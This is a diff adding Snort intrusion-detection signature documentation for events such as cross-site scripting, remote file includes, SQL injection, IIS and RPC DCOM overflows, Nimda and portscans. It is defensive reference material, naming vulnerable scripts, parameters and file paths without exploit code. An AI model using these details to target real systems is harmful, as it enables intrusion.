+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000699.txt
+++ snort-2.8.5.2/doc/signatures/100000699.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000699
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Vincent Leclercq News" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "id" parameter in the "diver.php" script used by the "Vincent Leclercq News" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Vincent Leclercq News
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1618.txt
+++ snort-2.8.5.2/doc/signatures/1618.txt
@@ -0,0 +1,77 @@
+Rule:
+
+--
+Sid:
+1618
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow associated with chunked encoding processing of Active Server Pages (ASP) in Internet Information Services (IIS). 
+
+--
+Impact:
+Remote Access.  If the exploit is successful, an attacker can gain remote access of the target host. 
+
+--
+Detailed Information:
+A buffer overflow exists with chunked encoding processing associated with ASP in IIS.  Chunked encoding allows different sized chunks of data to be passed from the web client to the server.  A heap overflow vulnerability exists because of an error in chunked encoding data transfer associated with the Internet Services Application Programming Interface (ISAPI) extension that implements ASP.
+
+--
+Affected Systems:
+
+Microsoft IIS 4.0
+  Cisco Building Broadband Service Manager 5.0
+  Cisco Call Manager 1.0, 2.0, 3.0
+  Cisco ICS 7750
+  Cisco IP/VC 3540
+  Cisco Unity Server 2.0, 2.2, 2.3, 2.4
+  Cisco uOne 1.0, 2.0, 3.0, 4.0
+  Microsoft BackOffice 4.0, 4.5
+  Microsoft Windows NT 4.0 Option Pack
+
+Microsoft IIS 5.0
+  Microsoft Windows 2000 Advanced Server, SP1, SP2
+  Microsoft Windows 2000 Datacenter Server SP1, SP2
+  Microsoft Windows 2000 Professional, SP1, SP2
+  Microsoft Windows 2000 Server, SP1, SP2
+
+--
+Attack Scenarios:
+An attacker can craft a chunked encoded request to exploit the heap overflow.
+
+--
+Ease of Attack:
+Easy.  Exploit code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the cumulative patch Q319733.
+
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0079
+
+Bugtraq
+http://www.securityfocus.com/bid/4485
+
+Microsoft
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms02-018.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1290.txt
+++ snort-2.8.5.2/doc/signatures/1290.txt
@@ -0,0 +1,81 @@
+Rule:  
+
+--
+Sid:
+1290
+
+--
+Summary:
+This event is generated when an attempt is made to load and run
+readme.eml, which is used as an infection vector for the nimda worm.
+
+--
+Impact:
+The source address is likely infected with the Nimda worm. The
+destination, without adequate AntiVirus protection and the proper
+patches, may now be infected and may attempt to infect other hosts using
+this or any of the other infection vectors that the Nimda worm uses.
+
+--
+Detailed Information:
+The nimda worm affects Microsoft Windows systems and attempts to spread
+via email, network shares and Microsoft IIS servers. A compromised
+server will attempt to spread and infect other vulnerable hosts.
+
+--
+Affected Systems:
+	Microsoft Windows 95, 98, ME, NT and 2000 
+
+--
+Attack Scenarios:
+This is worm activity.
+
+--
+Ease of Attack:
+Simple. Nimda is a worm, so the attack is automated. Exposure of unprotected
+systems to the internet has been know to result in an infection within
+15 minutes.
+
+--
+False Positives:
+None Known
+Web pages containing the Javascript as text in a web page may activate
+this alert. Web-sites detailing Nimda infection vectors may also trigger this event.
+
+--
+False Negatives:
+Nimda has multiple infection vectors. This rule alone will only detect
+a particular type.
+
+--
+Corrective Action:
+Ensure all servers within your domain are protected to the appropriate
+patch-levels to mitigate infection and spread of the Nimda worm.
+
+Ensure network clients in your domain are also appropriately patched and are
+running up to date AntiVirus software.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Giles Coochey	and Josh Gray
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2001-26.html
+
+Cisco:
+http://www.cisco.com/warp/public/cc/so/cuso/epso/sqfr/snam_wp.htm
+
+Microsoft:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/topics/Nimda.asp
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/topics/NimdaIE6.asp
+
+SecurityFocus
+http://online.securityfocus.com/archive/75/215118
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3400.txt
+++ snort-2.8.5.2/doc/signatures/3400.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3400
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000747.txt
+++ snort-2.8.5.2/doc/signatures/100000747.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000747
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Plume CMS" application running on a webserver. Access to the file "index.php" using a remote file being passed as the "_PX_config[manager_path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "_PX_config[manager_path]" parameter in the "index.php" script used by the "Plume CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Plume CMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3079.txt
+++ snort-2.8.5.2/doc/signatures/3079.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+3079
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with Microsoft's processing of an animated cursor
+file.
+
+--
+Impact:
+A successful attack may permit a buffer overflow that allows the execution
+of arbitrary code at the privilege level of the user downloading the
+malicious file.
+
+--
+Detailed Information:
+A vulnerability exists in the way the Microsoft Windows LoadImage API validates
+animated cursor (ANI) files. An invalid length associated with a structure
+supporting the properties of the animated cursor can cause a buffer overflow
+and the subsequent execution of arbirary code in the context of the current user.
+
+--
+Affected Systems:
+	Windows 98, ME, NT, 2000, XP (not SP2), and Server 2003
+
+--
+Attack Scenarios:
+An attacker can entice a user to download a malicious animated cursor
+file, causing a buffer overflow and the subsequent execution of arbitrary
+code on the vulnerable client.
+
+--
+Ease of Attack:
+Simple.  Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+In order to avoid potential evasion techniques, http_inspect should be
+configured with "flow_depth 0" so that all HTTP server response traffic is
+inspected.
+
+WARNING
+Setting flow_depth 0 will cause performance problems in some situations.
+WARNING
+
+--
+Corrective Action:
+Apply the patch(s) discussed in Microsoft bulletin MS05-002.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Microsoft Technet:
+http://www.microsoft.com/technet/security/bulletin/MS05-002.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-26.txt
+++ snort-2.8.5.2/doc/signatures/122-26.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-26
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a icmp
+filtered sweep was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2414.txt
+++ snort-2.8.5.2/doc/signatures/2414.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2414
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the handling of ISAKMP data and SA keys.
+
+--
+Impact:
+Serious
+
+--
+Detailed Information:
+The Internet Security Association and Key Management Protocol (ISAKMP) 
+is used as a framework for an authentication method between peers using 
+secure keys.
+
+ISAKMP is a framework for authentication using cryptographic keys. It 
+specifically defines the process of key exchange as opposed to the 
+generation of a cryptographic key.
+
+ISAKMP also details the procedures for the required security 
+associations in network security services.
+
+--
+Affected Systems:
+	Kame Racoon
+
+--
+Attack Scenarios:
+The attacker may attempt to delete keys and security associations in
+hosts running the KAME IKE Daemon.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+ISAKMP:
+http://www.networksorcery.com/enp/protocol/isakmp.htm
+
+RFC:
+http://www.ietf.org/rfc/rfc2407.txt
+http://www.ietf.org/rfc/rfc2408.txt
+
+IANA:
+http://www.iana.org/assignments/isakmp-registry
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000496.txt
+++ snort-2.8.5.2/doc/signatures/100000496.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000496
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "Chipmailer" application running on a webserver. Access to 
+the file "index.php" with SQL commands being passed as the "anfang" parameter 
+may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "anfang" parameter in the "index.php" script used by the 
+"Chipmailer" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Chipmailer
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3045.txt
+++ snort-2.8.5.2/doc/signatures/3045.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+3045
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ethereal.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
+Ethereal is a multi-platform network protocol analyser capable of
+displaying network data to the user in a graphical user interface.
+
+An error in the processing of access control lists (ACLs) concerning the
+size of the access control entries (ACEs) may lead to a Denial of Service
+(DoS) condition in Ethereal. The ACL parsing routine trusts the size of
+the ACE given in the packet during processing. If a sufficiently large ACL
+structure is supplied combined with a specified ACE size of 0, it is
+possible to cause the DoS condition to occur.
+
+--
+Affected Systems:
+	Ethereal 0.10.7 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to craft packet data containing large NT ACLs, the
+attacker then needs to specify one of the ACEs as having a size of 0.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/846.txt
+++ snort-2.8.5.2/doc/signatures/846.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+846
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1284.txt
+++ snort-2.8.5.2/doc/signatures/1284.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+Sid:
+1284
+
+--
+
+Summary:
+This event is generated when an attempt is made to download a
+Nimda-infected attachment from a web server.
+
+--
+Impact:
+Serious. A Nimda-infected web server may have spread the Nimda worm to the web
+client.
+
+--
+Detailed Information:
+One of the methods the Nimda worm uses to propagate is by passing malicious
+code from an infected web server to a web client.  The Nimda-infected
+code often uses the filename extension ".EML".
+
+The fully automated Nimda worm that has already infected an IIS web server
+searches through and infects the local web pages with malicious javascript.
+When a vulnerable web client attempts to load a web page from this server,
+the javascript will cause the web client to download and execute the
+Nimda-infected readme.eml file, causing the web client to become
+Nimda-infected.
+
+--
+Affected Systems:
+	Microsoft Windows based systems.
+
+--
+Attack Scenarios:
+The user must use a link on an infected server.
+
+--
+Ease of Attack:
+Simple. This is worm activity.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+The Nimda worm may spread via any file with the .EML or .NWS extension, not
+just readme.eml.  This rule will not catch other .EML or .NWS files.
+
+--
+Corrective Action:
+Examine the host for signs of infection.
+
+Use Anti-Virus tools to clean an infected host.
+
+Consider the use of alternative operating systems that are not
+vulnerable to this kind of attack.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3214.txt
+++ snort-2.8.5.2/doc/signatures/3214.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3214
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1838.txt
+++ snort-2.8.5.2/doc/signatures/1838.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid: 1838
+
+--
+Summary:
+Secure Shell (SSH) is used to remotely manage systems over encrypted TCP
+sessions. This event is generated when an attempt is made to exploit 
+vulnerable versions of the SecureCRT SSH client.
+
+--
+Impact:
+System compromize presenting the attacker with either the opportunity to
+execute arbitrary code or crash the client.
+
+--
+Detailed Information:
+Van Dyke Technologies SecureCRT is a client program that allows users to
+connect to servers running the Secure Shell (SSH) daemon for remote 
+access via an encrypted TCP session.
+
+A flaw in the SecureCRT client may result in arbitrary code execution 
+with the privileges of the user running the client.
+
+A buffer overflow can be caused by a server sending an overly long 
+identifier string when using the SSH-1 protocol.
+
+--
+Affected Systems:
+	Van Dyke Technologies SecureCRT prior to version 4.0 beta 1
+
+Not affected:
+	Van Dyke Technologies SecureCRT versions 3.2.2, 3.3.4, 3.4.6 and 4.0 beta 3.
+
+--
+Attack Scenarios:
+The attacker would need to send overly large SSH version 1 identifier 
+string to cause the overflow.
+
+Exploit scripts are available
+
+--
+Ease of Attack:
+Simple. Exploits are available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Securityfocus:
+http://www.securityfocus.com/bid/5287
+
+--
--- snort-2.8.5.2.orig/doc/signatures/807.txt
+++ snort-2.8.5.2/doc/signatures/807.txt
@@ -0,0 +1,69 @@
+Rule:  
+
+Sid:
+807
+
+--
+
+Summary:
+This event is generated when an attempt is made to download the wwwboard password file
+
+--
+Impact:
+Information disclosure.
+An attacker could crack the encrypted password and gain access to the wwwboard
+administrator account
+
+--
+Detailed Information:
+Releases of WWWBoard (Matt Wright's CGI webboard application) before
+version 2.0 Alpha 2.1 place the encrypted password for the web 
+application's administrator in a file called "passwd.txt" accessible
+from the web root.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+Attacker downloads the passwd.txt file and then launches a password
+cracker to brute force the password (the password is encypted via
+crypt(3), and password crackers for this format are ubiquitous).  If
+the password is successfully cracked (due to weak passwords or
+significant cracking resources), the attacker will have administrative
+access to the wwwboard web application.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Inspect packet to insure that it was an attempt to download the
+password file and not just a webpage discussing WWWBoard.
+Insure that local installations of WWWBoard are current and properly
+configured to not save the password file into a publically-accessible
+area.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+CVE:  CVE-1999-0953
+Bugtraq:  BID 649
+Arachnids:  463
+
+--
--- snort-2.8.5.2.orig/doc/signatures/332.txt
+++ snort-2.8.5.2/doc/signatures/332.txt
@@ -0,0 +1,66 @@
+Rule: 
+
+--
+Sid: 332
+
+-- 
+
+Summary: 
+An intelligence gathering attack against the finger daemon
+
+-- 
+
+Impact:
+The attacker may obtain information about user accounts on the target system.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use a finger command against a host with a username of "0".  A finger query against a vulnerable finger daemon may allow the attacker to obtain a list of accounts on the target system with some details for each account where present (such as time and source of the last login). 
+
+Obtaining a list of accounts might precipitate further attacks such as password guessing, email attacks and other abuse.
+
+--
+
+Attack Scenarios:
+An attacker learns that the "sys" account exists on the system. He then proceeds to guess the password and is then able to gain remote access to the system.
+
+-- 
+
+Ease of Attack: 
+Simple, no exploit software required
+
+-- 
+
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+-- 
+
+Corrective Action: 
+Disable the finger daemon or limit the addresses that can access the service via firewall or TCP wrappers.
+
+--
+Contributors: 
+Original rule written by Max Vision <vision@whitehats.com>
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS378
+http://www.whitehats.com/info/IDS131
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0197
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=10069%20(Finger%20zero%20at%20host
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000627.txt
+++ snort-2.8.5.2/doc/signatures/100000627.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000627
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "message_send.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"message_send.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/908.txt
+++ snort-2.8.5.2/doc/signatures/908.txt
@@ -0,0 +1,81 @@
+Rule:
+
+--
+Sid:
+908
+
+--
+Summary:
+This event is generated when an attempt is made to access the 
+administrator screens for Coldfusion server.  A long password can cause 
+a Denial-of-Service.
+
+--
+Impact:
+Denial of Service (DoS). While the risk as a target for password attacks is minor, the administrator login mechanism can be jammed by long passwords, leading to a DoS for the server.
+
+--
+Detailed Information:
+ColdFusion's administrator interface is reachable via:
+
+http://www.target.com/CFIDE/administrator/index.cfm
+
+It is recommended that access to these pages be restricted to trusted 
+IP addresses to prevent them being targets for password attacks.
+
+Further, long passwords create a Denial-of-Service state in the server 
+temporarily.
+
+See Macromedia Security Bulletin (MPSB01-08) for complete information.
+
+--
+Affected Systems:
+ColdFusion versions 4.x for Windows, Solaris, HP-UX, Linux
+
+--
+Attack Scenarios:
+The attacker can access the administration interface for the server and 
+gain control of the application.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+At minimum, restrict access to the administrator mechanism from within 
+the ColdFusion administrator screens.  Only internal, trusted users 
+should be allowed access.  For further protections, use the security 
+capabilities of the webserver or the OS to restrict access to the 
+CFIDE/administrator directory when not needed, or copy/remove the 
+CFIDE/administrator directory completely off the server when not in use 
